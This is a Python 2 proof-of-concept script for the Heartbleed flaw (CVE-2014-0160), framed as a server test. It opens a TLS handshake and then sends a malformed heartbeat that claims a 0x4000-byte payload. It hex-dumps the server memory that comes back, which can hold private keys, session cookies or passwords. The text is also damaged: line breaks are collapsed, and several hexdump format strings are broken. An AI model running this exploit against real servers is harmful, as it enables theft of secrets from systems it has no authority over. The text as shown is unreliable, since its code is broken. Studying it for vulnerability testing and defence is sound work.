#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x):     return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00  dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00 00 0f 00 01 01                                 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s):     for b in xrange(0, len(s), 16):         lin = [c for c in s[b : b + 16]]         hxdat = ' '.join('X' % ord(c) for c in lin)         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)         print '  x: %-48s %s' % (b, hxdat, pdat)     print def recvall(s, length, timeout=5):     endtime = time.time() + timeout     rdata = ''     remain = length     while remain > 0:         rtime = endtime - time.time()         if rtime < 0:             return None         r, w, e = select.select([s], [], [], 5)         if s in r:             data = s.recv(remain)             # EOF?             if not data:                 return None             rdata += data             remain -= len(data)     return rdata   def recvmsg(s):     hdr = recvall(s, 5)     if hdr is None:         print 'Unexpected EOF receiving record header - server closed connection'         return None, None, None     typ, ver, ln = struct.unpack('>BHH', hdr)     pay = recvall(s, ln, 10)     if pay is None:         print 'Unexpected EOF receiving record payload - server closed connection'         return None, None, None     print ' ... received message: type = %d, ver = x, length = %d' % (typ, ver, len(pay))     return typ, ver, pay def hit_hb(s):     s.send(hb)     while True:         typ, ver, pay = recvmsg(s)         if typ is None:             print 'No heartbeat response received, server likely not vulnerable'             return False         if typ == 24:             print 'Received heartbeat response:'             hexdump(pay)             if len(pay) > 3:                 print 'WARNING: server returned more data than it should - server is vulnerable!'             else:                 print 'Server processed malformed heartbeat, but did not return any extra data.'             return True         if typ == 21:             print 'Received alert:'             hexdump(pay)             print 'Server returned error, likely not vulnerable'             return False def main():     opts, args = options.parse_args()     if len(args) < 1:         options.print_help()         return     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     print 'Connecting...'     sys.stdout.flush()     s.connect((args[0], opts.port))     print 'Sending Client Hello...'     sys.stdout.flush()     s.send(hello)     print 'Waiting for Server Hello...'     sys.stdout.flush()     while True:         typ, ver, pay = recvmsg(s)         if typ == None:             print 'Server closed connection without sending Server Hello.'             return         # Look for server hello done message.         if typ == 22 and ord(pay[0]) == 0x0E:             break     print 'Sending heartbeat request...'     sys.stdout.flush()     s.send(hb)     hit_hb(s) if __name__ == '__main__':     main()